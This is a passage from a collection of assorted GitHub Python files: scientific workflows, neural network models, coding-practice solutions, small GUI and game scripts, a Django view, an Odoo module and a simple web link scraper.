mg.Lattice.cubic(lattice_params['a'])\n elif cryst_sys == 'hexagonal':\n lattice = mg.Lattice.hexagonal(lattice_params['a'], lattice_params['alpha'])\n elif cryst_sys == 'tetragonal':\n lattice = mg.Lattice.tetragonal(lattice_params['a'], lattice_params['c'])\n elif cryst_sys == 'orthorhombic':\n lattice = mg.Lattice.orthorhombic(lattice_params['a'], lattice_params['b'], lattice_params['c'])\n elif cryst_sys == 'rhombohedral':\n lattice = mg.Lattice.rhombohedral(lattice_params['a'], lattice_params['alpha'])\n elif cryst_sys == 'monoclinic':\n lattice = mg.Lattice.orthorhombic(lattice_params['a'], lattice_params['b'], lattice_params['c'],\n lattice_params['beta'])\n else:\n lattice = mg.Lattice.orthorhombic(lattice_params['a'], lattice_params['b'], lattice_params['c'],\n lattice_params['alpha'], lattice_params['beta'], lattice_params['gamma'])\n\n elem_types_struct = [re.sub(r'_.*', '', i) for i in poscar_specs['elem_types']]\n elem_types_struct_multi = []\n for i, elem in enumerate(elem_types_struct):\n elem_types_struct_multi.extend([elem] * poscar_specs['atoms_multitude'][i])\n\n structure = mg.Structure.from_spacegroup(poscar_specs['spacegroup'], lattice,\n elem_types_struct_multi, poscar_specs['atoms_direct_coords'])\n run_specs['elem_types'] = poscar_specs['elem_types']\n return structure\n\n\ndef write_potcar(run_specs):\n \"\"\"\n\n Write POTCAR. It gets the POTCAR types from 'elem_types' in the specs file.\n You need to set the VASP_POTENTIALS_DIR environmental variable, or edit\n the head of this file to be able to use it.\n\n \"\"\"\n\n potential_base = os.path.join(VASP_POTENTIALS_DIR, run_specs['pot_type'])\n with open('POTCAR', 'wb') as outfile:\n for filename in [os.path.join(potential_base, e, 'POTCAR') for e in run_specs['elem_types']]:\n with open(filename, 'rb') as infile:\n shutil.copyfileobj(infile, outfile)\n\n\ndef get_max_ENMAX(potcars):\n \"\"\"\n\n Get the largest ENMAX from POTCAR.\n\n \"\"\"\n max_ENMAX = 0\n for potcar in potcars:\n if potcar.keywords['ENMAX'] > max_ENMAX:\n max_ENMAX = potcar.keywords['ENMAX']\n return max_ENMAX\n","repo_name":"terencezl/pyvasp-workflow","sub_path":"INPUT/run_module.py","file_name":"run_module.py","file_ext":"py","file_size_in_byte":15632,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"72"} +{"seq_id":"39440768462","text":"#!/usr/bin/python\n\n\"\"\"\nNode is defined as\nself.left (the left child of the node)\nself.right (the right child of the node)\nself.data (the value of the node)\n\"\"\"\n\n\ndef inOrder(root):\n # Write your code here\n if not root:\n return\n # print(root.data, end='') # python3\n inOrder(root.left)\n print(root.data), # python2\n inOrder(root.right)\n","repo_name":"hrishikeshtak/Coding_Practises_Solutions","sub_path":"hackerrank/Data-Structures/Trees/3-tree-inorder-traversal.py","file_name":"3-tree-inorder-traversal.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"17521368104","text":"# 网络定义\nimport numpy as np\nimport torch\nimport torch.nn as nn\n\nimport torch.nn.functional as F\nimport torch.utils.data\nimport torch\n\n\nclass cyl(nn.Module):\n \"\"\"\n 自定义的圆形通光区域\n \"\"\"\n def __init__(self, d1, d2, N):\n super(cyl, self).__init__()\n # tmp = torch.arange(-d1/2+d1/N, d1/2+d1/N, d1/N)\n tmp = torch.arange(-d1/2, d1/2+d1/(N-1), d1/(N-1))\n x, y = torch.meshgrid(tmp, tmp)\n R = torch.sqrt(x**2 + y**2)\n R = R.cuda()\n self.circle = (R<d2/2) * torch.cuda.FloatTensor([1.0])\n\n def forward(self, x):\n return torch.mul(x, self.circle)\n\nclass conv_block(nn.Module):\n \"\"\"\n Convolution Block\n \"\"\"\n def __init__(self, in_ch, out_ch):\n super(conv_block, self).__init__()\n\n # self.conv = nn.Sequential(\n # nn.Conv2d(in_ch, out_ch, kernel_size=3, stride=1, padding=1, bias=True),\n # nn.BatchNorm2d(out_ch),\n # nn.LeakyReLU(inplace=True),\n # nn.Conv2d(out_ch, out_ch, kernel_size=3, stride=1, padding=1, bias=True),\n # nn.BatchNorm2d(out_ch),\n # nn.LeakyReLU(inplace=True))\n\n self.conv = nn.Sequential(\n nn.Conv2d(in_ch, out_ch, kernel_size=3, stride=1, padding=1, bias=True),\n nn.BatchNorm2d(out_ch),\n nn.LeakyReLU(inplace=True))\n\n def forward(self, x):\n\n x = self.conv(x)\n return x\n\n\nclass up_conv(nn.Module):\n \"\"\"\n Up Convolution Block\n \"\"\"\n def __init__(self, in_ch, out_ch):\n super(up_conv, self).__init__()\n self.up = nn.Sequential(\n nn.Upsample(scale_factor=2),\n nn.Conv2d(in_ch, out_ch, kernel_size=3, stride=1, padding=1, bias=True),\n nn.BatchNorm2d(out_ch),\n nn.LeakyReLU(inplace=True)\n )\n\n def forward(self, x):\n x = self.up(x)\n return x\n\n\nclass U_Net(nn.Module):\n \"\"\"\n UNet - Basic Implementation\n Paper : https://arxiv.org/abs/1505.04597\n \"\"\"\n def __init__(self, in_ch=1, out_ch=1):\n super(U_Net, self).__init__()\n\n n1 = 2 # 16\n filters = [n1, n1 * 2, n1 * 4, n1 * 8, n1 * 16]\n\n self.Maxpool1 = nn.MaxPool2d(kernel_size=2, stride=2)\n self.Maxpool2 = nn.MaxPool2d(kernel_size=2, stride=2)\n self.Maxpool3 = nn.MaxPool2d(kernel_size=2, stride=2)\n self.Maxpool4 = nn.MaxPool2d(kernel_size=2, stride=2)\n\n self.Conv1 = conv_block(in_ch, filters[0])\n self.Conv2 = conv_block(filters[0], filters[1])\n self.Conv3 = conv_block(filters[1], filters[2])\n self.Conv4 = conv_block(filters[2], filters[3])\n self.Conv5 = conv_block(filters[3], filters[4])\n\n self.Up5 = up_conv(filters[4], filters[3])\n self.Up_conv5 = conv_block(filters[4], filters[3])\n\n self.Up4 = up_conv(filters[3], filters[2])\n self.Up_conv4 = conv_block(filters[3], filters[2])\n\n self.Up3 = up_conv(filters[2], filters[1])\n self.Up_conv3 = conv_block(filters[2], filters[1])\n\n self.Up2 = up_conv(filters[1], filters[0])\n # self.Up_conv2 = conv_block(filters[1], filters[0])\n\n # self.Conv = nn.Conv2d(filters[0], out_ch, kernel_size=1, stride=1, padding=0)\n self.Conv = nn.Conv2d(filters[1], out_ch, kernel_size=1, stride=1, padding=0)\n self.active = torch.nn.Sigmoid()\n # self.active0 = torch.nn.Sigmoid()\n self.active1 = torch.nn.Sigmoid()\n self.active2 = torch.nn.Sigmoid()\n self.active3 = torch.nn.Sigmoid()\n\n # self.defocus_param0 = torch.nn.Parameter(torch.FloatTensor(1), requires_grad=True)\n self.defocus_param1 = torch.nn.Parameter(torch.FloatTensor(1), requires_grad=True)\n self.defocus_param2 = torch.nn.Parameter(torch.FloatTensor(1), requires_grad=True)\n self.defocus_param3 = torch.nn.Parameter(torch.FloatTensor(1), requires_grad=True)\n\n self.cyl = cyl(34.31, 10, 1024)\n\n def forward(self, x, defocus_term):\n\n e1 = self.Conv1(x)\n\n e2 = self.Maxpool1(e1)\n e2 = self.Conv2(e2)\n\n e3 = self.Maxpool2(e2)\n e3 = self.Conv3(e3)\n\n e4 = self.Maxpool3(e3)\n e4 = self.Conv4(e4)\n\n e5 = self.Maxpool4(e4)\n e5 = self.Conv5(e5)\n\n d5 = self.Up5(e5)\n d5 = torch.cat((e4, d5), dim=1)\n d5 = self.Up_conv5(d5)\n\n d4 = self.Up4(d5)\n d4 = torch.cat((e3, d4), dim=1)\n d4 = self.Up_conv4(d4)\n\n d3 = self.Up3(d4)\n d3 = torch.cat((e2, d3), dim=1)\n d3 = self.Up_conv3(d3)\n\n d2 = self.Up2(d3)\n d2 = torch.cat((e1, d2), dim=1)\n # d2 = self.Up_conv2(d2)\n\n out = self.Conv(d2)\n\n out = self.active(out)\n # out = out * 2 * np.pi * 0.5\n # out = out * 2 * np.pi * 0.5 - np.pi/2 # -np.pi使得挖空部分可以被检测到?\n out = out * 2 * np.pi * 1\n\n # 支持域?\n out = self.cyl(out)\n\n # param0_limited = self.active0(self.defocus_param1) * 0.000001\n # param0_limited = 0\n param1_limited = self.active1(self.defocus_param1) * 0.2\n param2_limited = self.active2(self.defocus_param2) * 0.3\n param3_limited = self.active3(self.defocus_param3) * 0.5\n\n # d0 = torch.mul(defocus_term, param0_limited)\n d1 = torch.mul(defocus_term, param1_limited)\n d2 = torch.mul(defocus_term, param2_limited)\n d3 = torch.mul(defocus_term, param3_limited)\n # d1 = torch.mul(defocus_term, self.defocus_param1)\n # d2 = torch.mul(defocus_term, self.defocus_param2)\n # d3 = torch.mul(defocus_term, self.defocus_param3)\n # out0 = torch.add(out, d0)\n out0 = out\n out1 = torch.add(out, d1) # 这里用了out的值\n out2 = torch.add(out, d2)\n out3 = torch.add(out, d3)\n return out0, out1, out2, out3, param1_limited, param2_limited, param3_limited\n # return out, out1, out2, out3, self.defocus_param1, self.defocus_param2, self.defocus_param3\n","repo_name":"SuperCrystal/DIP-enhanced-phase-retrieval","sub_path":"DIP_for_generating/net.py","file_name":"net.py","file_ext":"py","file_size_in_byte":5972,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"35892814480","text":"from cProfile import label\r\nfrom cgitb import text\r\nfrom tkinter import *\r\nimport tkinter \r\nfrom turtle import right\r\nfrom PIL import ImageTk, Image\r\n\r\nglobal kata_dariuser\r\n\r\ntk = Tk()\r\ntk.title(\"Kamus Sederhana Bergambar\")\r\nframe = Frame(tk)\r\nframe.grid(row=1)\r\ntk.geometry(\"700x500\")\r\nmy_label = Label()\r\nmy_label.grid()\r\n\r\n'''\r\nframe = Frame(win, width=600, height=400)\r\nframe.pack()\r\nframe.place(anchor='center', relx=0.5, rely=0.5)\r\n\r\n# Create an object of tkinter ImageTk\r\nimg = ImageTk.PhotoImage(Image.open(\"forest.jpg\"))\r\n\r\n# Create a Label Widget to display the text or Image\r\nlabel = Label(frame, image = img)\r\nlabel.pack()\r\n\r\nimg = ImageTk.PhotoImage(Image.open(\"idol1.jpg\"))\r\nlabel = Label(frame, image = img)\r\nlabel.pack() \r\n\r\n\r\n'''\r\n\r\n \r\n\r\n\r\ndef translate(kata):\r\n kamus = {\r\n \"fish\": \"ikan\",\r\n \"car\": \"mobil\",\r\n \"phone\": \"telepon\",\r\n \"computer\": \"komputer\",\r\n \"school\": \"sekolah\",\r\n \"Nizar\": \"Tidak WIBU\",\r\n \"Eko\":\"WIBU\",\r\n \"Fadhil\":\"WIBU\",\r\n \"Gebs\":\"WIBU\",\r\n \"FAqh\":\"WIBU\",\r\n \"Akmal\":\"WIBU\",\r\n \"Dapido\":\"WIBU\"\r\n }\r\n\r\n \r\n \r\n if kata in kamus:\r\n return(kata+ \" artinya adalah: \"+ kamus[kata])\r\n else:\r\n return(\"maaf, terjemahan belum ditemukan\")\r\n\r\ndef PrintGANN():\r\n ans= translate(Entry1.get())\r\n HasilTerjemah.delete(first=0,last=None)\r\n HasilTerjemah.insert(1,ans)\r\n\r\ndef meneng():\r\n filewin= tkinter.Toplevel(tk)\r\n button=tkinter.Button(filewin,text=\"COSPLAY WATU\")\r\n button.pack()\r\n\r\ndef keluarkan_gambar():\r\n return Entry1.get()\r\n\r\n#fungsi MENU\r\nmenubar= tkinter.Menu(tk)\r\nfileMenu=tkinter.Menu(menubar,tearoff=0)\r\nfileMenu.add_command(label=\"Meneng\",command=meneng)\r\nfileMenu.add_command(label=\"Exit\",command=tk.quit)\r\nmenubar.add_cascade(label=\"File\",menu=fileMenu)\r\ntk.config(menu=menubar)\r\n\r\n#canvas = Canvas(tk, width=300,height=300)\r\n#Fungsi UTAMA\r\n# Create an object of tkinter ImageTk\r\n# Create a Label Widget to display the text or Image\r\n\r\nname1=Label(tk,text=\"Kata\")\r\nEntry1 = Entry(tk,bd=5)\r\nbutton= Button(tk, text='Translate',width=30,command=PrintGANN)\r\nOutPut = Label(frame, text=\"Hasil Terjemahan: \")\r\nHasilTerjemah = Listbox(frame,height=1,width=35,bd=2)\r\n\r\ndef myClick():\r\n link = r'C:/Users/ASUS/Documents/vscode latihan/prakpemlan/bab 10' + Entry1.get()\r\n my_img = ImageTk.PhotoImage(Image.open(link))\r\n my_label.configure(image=my_img)\r\n my_label.image = my_img\r\n\r\n\r\nmyButton = Button(tk, text='Scan Part Number', command=myClick,\r\n bg='pink', fg='white')\r\n\r\nimage = (Image.open(keluarkan_gambar))\r\nresize_image = image.resize((200, 250))\r\nimg = ImageTk.PhotoImage(resize_image)\r\nlabel1 = Label(image=img)\r\nlabel1.image = img\r\n\r\nname1.grid(row = 0, column = 0, sticky = W, pady = 2)\r\nEntry1.grid(row = 0, columnspan = 1, sticky = E, pady = 2)\r\nbutton.grid(row = 3, column = 0, sticky = W, pady = 2)\r\nOutPut.grid(row=1,sticky=E)\r\nHasilTerjemah.grid(row=1,column=1,sticky=W)\r\nlabel1.grid(row = 1,column =2)\r\ntk.mainloop()","repo_name":"Valerie6048/Any-Source-Code","sub_path":"Semester 5/Praktikum Pemlan/Bab10/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"72367781992","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2019/5/28 11:34\n# @Author : liuhu\n# @File : 元类创建单例模式(不适合多线程).py\n# @Software: PyCharm\n# @github :https://github.com/Max-Liuhu\nimport threading\n\n\nclass Singleton(type):\n _instances = {}\n\n def __call__(cls, *args, **kwargs):\n if cls not in cls._instances:\n cls._instances[cls] = super(Singleton, cls).__call__(*args, **kwargs)\n return cls._instances[cls]\n\n\nclass MyClass(object):\n __metaclass__ = Singleton\n\n\n\n\ndef test1():\n t1 = MyClass()\n t2 = MyClass()\n print('t1 id :{}'.format(id(t1)))\n print('t2 id :{}'.format(id(t2)))\n print(id(t1))\n print(id(t2))\n print(id(t1) == id(t2))\n\n\ndef test2():\n s1 = MyClass()\n s2 = MyClass()\n print('s1 id :{}'.format(id(s1)))\n print('s2 id :{}'.format(id(s2)))\n print(id(s1) == id(s2))\n\n\nf1 = threading.Thread(target=test1, args=())\nf2 = threading.Thread(target=test2, args=())\nf1.start()\nf2.start()","repo_name":"CuteSmartTiger/keeplearning","sub_path":"面试常见题型汇总与详细解答/设计模式/单例模式/元类创建单例模式(不适合多线程).py","file_name":"元类创建单例模式(不适合多线程).py","file_ext":"py","file_size_in_byte":995,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"72"} +{"seq_id":"11448128122","text":"import argparse\nimport cv2\nimport torch\nfrom os.path import isfile, join\n\nfrom dataset.utils import decode_img\nfrom gan.generator import ImageGenerator\nfrom utils import force_create_dir\n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--model\", type=str, default=\"generator.pt\",\n help=\"Abs path to generator's model\")\n parser.add_argument(\"--feat_cnt\", type=int, default=100,\n help=\"Length of the feature vector\")\n parser.add_argument(\"--out_dir\", type=str, default=\"generated\",\n help=\"Abs path to the output image\")\n parser.add_argument(\"--device\", type=str, default=\"cpu\",\n help=\"Device: cpu/cuda\")\n parser.add_argument(\"--cnt\", type=int, default=1,\n help=\"Count of images being generated\")\n return parser.parse_args()\n\n\nif __name__ == \"__main__\":\n args = parse_args()\n gen_model = ImageGenerator(feature_vector=args.feat_cnt)\n gen_model = gen_model.to(args.device)\n if isfile(args.model):\n gen_model.load_state_dict(torch.load(args.model, map_location=torch.device(args.device)))\n else:\n print(f\"{args.model} doesnt exist. Using default weights.\")\n gen_model.eval()\n force_create_dir(args.out_dir)\n with torch.no_grad():\n for i in range(args.cnt):\n random_descriptor = torch.randn(1, args.feat_cnt)\n fake_img = gen_model(random_descriptor)[0]\n fake_img = decode_img(fake_img.numpy())\n cv2.imwrite(join(args.out_dir, f\"{i}.jpg\"), fake_img)\n","repo_name":"iolkhovsky/gan_torch","sub_path":"deploy.py","file_name":"deploy.py","file_ext":"py","file_size_in_byte":1597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"10938098742","text":"from college.models import CollegeInformation\nfrom django.http import Http404\nfrom django.contrib import messages\nfrom django.shortcuts import redirect,render\n\n\ndef deleteCollegeInfo(request,id):\n collegeinfo = CollegeInformation.get_collegeinfo_by_id(id)\n if collegeinfo:\n if request.method == \"POST\":\n collegeinfo.delete()\n messages.success(request,\"Information deleted successfully\")\n return redirect('college_info:collegeinfo_list')\n return render(request,'college/collegeinfo_delete.html')\n else:\n raise Http404()","repo_name":"Rajish123/StudentRegistration","sub_path":"college/views/collegeinfo_delete.py","file_name":"collegeinfo_delete.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"10424486367","text":"import items\n\n\n\nclass Shop:\n \"\"\"The Shop Class\"\"\"\n\n def __init__(self):\n\n self.itemlist = [items.Weapon(\"Better Sword\", 2, 2, 7), items.Armor(\"Better Armor\", 2, 2), items.Shield(\"Better Shield\", 2, 2),items.Weapon(\"Ultra Sword\", 8, 10, 15), items.Armor(\"Ultra Armor\", 8, 8), items.Shield(\"Ultra Shield\",8, 10) ]\n self.potion = items.Potion(\"Healing Potion\", 1, 10)\n\n\n\n def return_item(self, item):\n return item\n\n def show_shop_prompt(self, player):\n\n print(\"Welcome to the Shop. What do you want to buy?\\n[1]Items\\n[2]Potions\\n[X]Go Back\")\n player_input = input(\"What do you choose?:\").lower()\n if player_input == \"1\":\n self.show_items_prompt(player)\n elif player_input == \"2\":\n self.show_potions_prompt(player)\n elif player_input == \"x\":\n return False\n\n\n def show_items_prompt(self, player):\n print(\"Choose an Item:\")\n for item in self.itemlist:\n print(\"[{0}]\".format(str(self.itemlist.index(item)+1))+str(item))\n\n print(\"[X]Go Back\")\n player_input = input(\"Which Item do you want?:\")\n\n if not player_input == \"x\":\n player_input_int = int(player_input)-1\n if player_input == \"x\":\n self.show_shop_prompt(player)\n\n elif self.get_item(player_input_int).price <= player.inventory.gold:\n player.set_item(self.get_item(player_input_int))\n player.spend_gold(self.get_item(player_input_int).price)\n\n\n def show_potions_prompt(self, player):\n print(\"Want to buy a Healing Potion?[Y]es / [N]o ?\")\n player_input = input(\"Your Choice: \").lower()\n if player_input == \"y\":\n if self.potion.price <= player.inventory.gold:\n player.inventory.spend_gold(self.potion.price)\n player.add_potion()\n else:\n print(\"Not enough Gold!\")\n\n\n\n\n def get_item(self, input):\n return self.itemlist[input]\n\n","repo_name":"Simaohsen/py_game","sub_path":"shop.py","file_name":"shop.py","file_ext":"py","file_size_in_byte":1981,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"41699088111","text":"from openerp.osv import fields\nfrom openerp.osv import osv\nimport time\nfrom datetime import datetime\nfrom openerp.tools.translate import _\n\nimport logging\n_logger = logging.getLogger(__name__)\n\n\nclass mrp_production_workcenter_line(osv.osv):\n _inherit = 'mrp.production.workcenter.line'\n\n def modify_production_order_state(self, cr, uid, ids, action):\n \"\"\" Modifies production order state if work order state is changed.\n @param action: Action to perform.\n @return: Nothing\n \"\"\"\n prod_obj_pool = self.pool.get('mrp.production')\n oper_obj = self.browse(cr, uid, ids)[0]\n prod_obj = oper_obj.production_id\n\n _logger.warning(\"action=%s\" % action)\n _logger.warning(\"mo state=%s\" % prod_obj.state)\n\n if action == 'start':\n if prod_obj.state =='confirmed':\n\n _logger.warning(\"force_production\" )\n prod_obj_pool.force_production(cr, uid, [prod_obj.id])\n\n _logger.warning(\"signal_workflow button_produce\" )\n prod_obj_pool.signal_workflow(cr, uid, [prod_obj.id], 'button_produce')\n\n elif prod_obj.state =='ready':\n _logger.warning(\"signal_workflow button_produce\" )\n prod_obj_pool.signal_workflow(cr, uid, [prod_obj.id], 'button_produce')\n\n elif prod_obj.state =='in_production':\n _logger.warning(\"in_production skip\" )\n return\n\n else:\n raise osv.except_osv(_('Error!'),_('Manufacturing order cannot be started in state \"%s\"!') % (prod_obj.state,))\n else:\n _logger.warning(\"action_produce: consume_produce\" )\n _logger.warning(\"signal_workflow: button_produce_done\" )\n _logger.warning(\"skipped\" )\n return \n \n open_count = self.search_count(cr,uid,[('production_id','=',prod_obj.id), ('state', '!=', 'done')])\n flag = not bool(open_count)\n if flag:\n for production in prod_obj_pool.browse(cr, uid, [prod_obj.id], context= None):\n if production.move_lines or production.move_created_ids:\n prod_obj_pool.action_produce(cr,uid, production.id, production.product_qty, 'consume_produce', context = None)\n prod_obj_pool.signal_workflow(cr, uid, [oper_obj.production_id.id], 'button_produce_done')\n return","repo_name":"akhdaniel/addons","sub_path":"farmasi/vit_wo_done/wo.py","file_name":"wo.py","file_ext":"py","file_size_in_byte":2416,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"72"} +{"seq_id":"28622021551","text":"import requests\nimport re\nfrom bs4 import BeautifulSoup\nimport validators\nimport csv \n\nn=20\nurl=\"https://en.wikipedia.org/wiki/Toronto_Raptors\"\n\n\ndef scrape_url(url):\n '''Scrapes the specified URL'''\n if validators.url(url):\n reqs = requests.get(url)\n soup = BeautifulSoup(reqs.text, 'html.parser')\n return soup\n else:\n print('URL is Invalid:')\n\ndef iterate_through(url,n):\n '''Gets all links from URL, once the links are scrape it iterates through the first N items and gets all URLS from said items.'''\n urls = []\n scrape=scrape_url(url)\n for link in scrape.find_all('a',attrs={'href': re.compile(\"^https://\")}):\n url=link.get('href')\n urls.append(url)\n\n for i in range(n):\n url=urls[i]\n if validators.url(url):\n scrape=scrape_url(url)\n for link in scrape.find_all('a',attrs={'href': re.compile(\"^https://\")}):\n if url in urls:\n pass\n else:\n url=link.get('href')\n urls.append(url)\n else:\n print('URL is Invalid:')\n return urls\n\n\ndef COUNT(urls):\n '''Counts both amount of items scraped and unique items.'''\n l1 = []\n UNIQUE_COUNT = 0\n COUNT = len(urls)\n for item in urls:\n if item not in l1:\n UNIQUE_COUNT += 1\n l1.append(item)\n return COUNT , UNIQUE_COUNT\n\ndef ADD_TO_CSV(urls,COUNT):\n '''Appends items to a CSV file.'''\n with open('output.csv', 'w+') as f:\n writer = csv.writer(f)\n for item in urls:\n writer.writerow([item])\n writer.writerow(COUNT)\n\n\ndef main():\n output = iterate_through(url,n)\n output1 = COUNT(output)\n ADD_TO_CSV(output,output1)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"owencollinsm99/Task","sub_path":"Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":1802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"23775238731","text":"'''\n1641. Count Sorted Vowel Strings\nMedium\n\n2136\n\n52\n\nAdd to List\n\nShare\nGiven an integer n, return the number of strings of length n that consist only of vowels (a, e, i, o, u) and are lexicographically sorted.\n\nA string s is lexicographically sorted if for all valid i, s[i] is the same as or comes before s[i+1] in the alphabet.\n\n \n\nExample 1:\n\nInput: n = 1\nOutput: 5\nExplanation: The 5 sorted strings that consist of vowels only are [\"a\",\"e\",\"i\",\"o\",\"u\"].\nExample 2:\n\nInput: n = 2\nOutput: 15\nExplanation: The 15 sorted strings that consist of vowels only are\n[\"aa\",\"ae\",\"ai\",\"ao\",\"au\",\"ee\",\"ei\",\"eo\",\"eu\",\"ii\",\"io\",\"iu\",\"oo\",\"ou\",\"uu\"].\nNote that \"ea\" is not a valid string since 'e' comes after 'a' in the alphabet.\nExample 3:\n\nInput: n = 33\nOutput: 66045\n \n\nConstraints:\n\n1 <= n <= 50 \nAccepted\n99,721\nSubmissions\n130,876\nSeen this question in a real interview before?\n\nYes\n\nNo\n'''\nclass Solution:\n def countVowelStrings(self, n: int) -> int:\n self.count = 0\n # self.res = []\n arr = ['a', 'e', 'i', 'o', 'u']\n def dfs(k, temp):\n if len(temp) == n:\n self.count += 1\n # self.res.append(''.join(temp))\n return\n\n for i in range(k, len(arr)):\n if i == len(arr)-1:\n self.count += 1\n return\n dfs(i, temp+[arr[i]])\n \n dfs(0, [])\n return self.count\n\n#https://math.libretexts.org/Courses/Monroe_Community_College/MTH_220_Discrete_Math/7%3A_Combinatorics/7.5%3A_Combinations_WITH_Repetitions\nclass Solution:\n def countVowelStrings(self, n: int) -> int:\n return comb(n+4, n)\n\n#dp\nclass Solution:\n def countVowelStrings(self, n: int) -> int:\n dp = [[1,1,1,1,1] for _ in range(n+1)]\n \n for i in range(1, n+1):\n for j in range(3, -1, -1):\n dp[i][j] = dp[i][j+1] + dp[i-1][j]\n \n return dp[n][0]\n ","repo_name":"jomesh18/Leetcode","sub_path":"Leetcode_challenge/2022/05. May/11.countVowelStrings.py","file_name":"11.countVowelStrings.py","file_ext":"py","file_size_in_byte":1967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"41687090618","text":"import keras\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Conv2D, Flatten, MaxPooling2D,Dropout,Activation\nfrom keras.preprocessing.image import ImageDataGenerator\n\ninput_size = (128,128)\n\ndef typeOfSleevesLength(images):\n\tclasses = {0:'sleevesless',1:'full sleeves',2:'half sleeves'}\n\n\t#load and initialize model\n\tmodel = Sequential()\n\tmodel.load('./sleeve_model')\n\tmodel.load_weights('./sleeve_weights.h5')\n\n\t#predict\n\tprediction = model.predict_classes(images, batch_size=1)\n\tk.clear_session()\n\treturn(classes[prediction[0]])\n\n\n\ndef typeOfPattern(images):\n\t\n\tclasses = {0:'',1:''}\n\n\t#load and initialize model\n\tmodel = Sequential()\n\tmodel.load('./sleeve_model')\n\tmodel.load_weights('./sleeve_weights.h5')\n\n\t#predict\n\tprediction = model.predict_classes(images, batch_size=1)\n\tk.clear_session()\n\treturn(classes[prediction[0]])\n\nfilename = '/home/pritesh/projects/ImageBasedProductRecommendation/test/skirts.jpeg'\nimg = image.load_img(filename, target_size=(128,128))\nx = image.img_to_array(img)\nx = np.expand_dims(x, axis=0)\nimages = np.vstack([x])\nresult = typeOfSleeves(images)","repo_name":"priteshsatpute/deepfashion","sub_path":"features_detection/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1103,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"44191418838","text":"# A wrapper code for running TSDF fusion of several RGBD frame.\n# After TSDF fusion, the code also segment out objects in the scene\n# and save each one of them.\n\n# TSDF fusion repo: https://github.com/hongtaowu67/TSDFfusion-cpu\n\n# Author: Hongtao Wu\n# Institution: Johns Hopkins University\n# Date: Nov 23. 2019\n\nfrom __future__ import print_function\n\nimport os\nimport subprocess\nimport shutil\nimport numpy as np\nimport math\nimport yaml\nimport time\nfrom skimage import measure\nfrom plyfile import PlyData, PlyElement\nimport array\nfrom processing.utils import convert_tsdf_to_ply, segment_aabb\n\n\ndef run_tsdf_fusion(tsdf_fusion_dir,\n data_dir,\n camera_intrinsics_file,\n voxel_grid_origin_x=0.0,\n voxel_grid_origin_y=0.0,\n voxel_grid_origin_z=0.0,\n voxel_size=0.006,\n voxel_grid_dim_x=500,\n voxel_grid_dim_y=500,\n voxel_grid_dim_z=500,\n fast_tsdf_settings=False):\n \"\"\"\n Simple wrapper to run the tsdf-fusion executable with the desired args\n For the tsdf fusion code, check out: https://github.com/hongtaowu67/TSDFfusion-cpu\n TSDF fusion will generate a binary file (.bin) and a point cloud file (.ply) and \n save it in the data_dir.\n\n @type tsdf_fusion_dir: string\n @param tsdf_fusion_dir: directory of the tsdf fusion package\n @type data_dir: string\n @param data_dir: directory of the data being fused\n @type camera_intrinsic_file: string\n @param camera_intrinsic_file: path to the intrinsic of the camera\n @type voxel_grid_origin_x: float\n @param voxel_grid_origin_x: x coordinate of the origin for tsdf\n @type voxel_grid_origin_y: float\n @param voxel_grid_origin_y: y coordinate of the origin for tsdf\n @type voxel_grid_origin_z: float\n @param voxel_grid_origin_z: z coordinate of the origin for tsdf\n @type voxel_size: float\n @param voxel_size: size of each voxel\n @type voxel_grid_dim_x: int\n @param voxel_grid_dim_x: number of voxel in the x-axis\n @type voxel_grid_dim_y: int\n @param voxel_grid_dim_y: number of voxel in the y-axis\n @type voxel_grid_dim_z: int\n @param voxel_grid_dim_z: number of voxel in the z-axis\n @type fast_tsdf_settings: bool\n @param fast_tsdf_settings: whether to use fast tsdf params\n \"\"\"\n # Path to the executable of the tsdf fusion\n tsdf_executable = os.path.join(tsdf_fusion_dir, 'build/tsdf-fusion-cpu')\n\n print(\"TSDF executable: {}\".format(tsdf_executable))\n\n if not os.path.isfile(tsdf_executable):\n raise ValueError('tsdf executable not found, have you compiled it?')\n\n # Count frame number\n image_dir = os.path.join(data_dir, \"rgbd\")\n image_files = os.listdir(image_dir)\n frame_num = 0\n for f in image_files:\n if \".pose.txt\" in f:\n frame_num += 1\n print(\"Frame number: {}\".format(frame_num))\n\n # Write cmd\n cmd = \"cd %s && %s %s %s\" % (tsdf_fusion_dir, tsdf_executable,\n camera_intrinsics_file, image_dir)\n\n if fast_tsdf_settings:\n voxel_size = 0.004\n voxel_grid_dim_x = 120\n voxel_grid_dim_y = 100\n voxel_grid_dim_z = 80\n\n cmd += \" \" + str(frame_num)\n cmd += \" \" + str(voxel_size)\n cmd += \" \" + str(voxel_grid_dim_x)\n cmd += \" \" + str(voxel_grid_dim_y)\n cmd += \" \" + str(voxel_grid_dim_z)\n cmd += \" \" + str(voxel_grid_origin_x)\n cmd += \" \" + str(voxel_grid_origin_y)\n cmd += \" \" + str(voxel_grid_origin_z)\n\n print(\"cmd: {}\".format(cmd))\n\n # Run TSDF fusion\n process 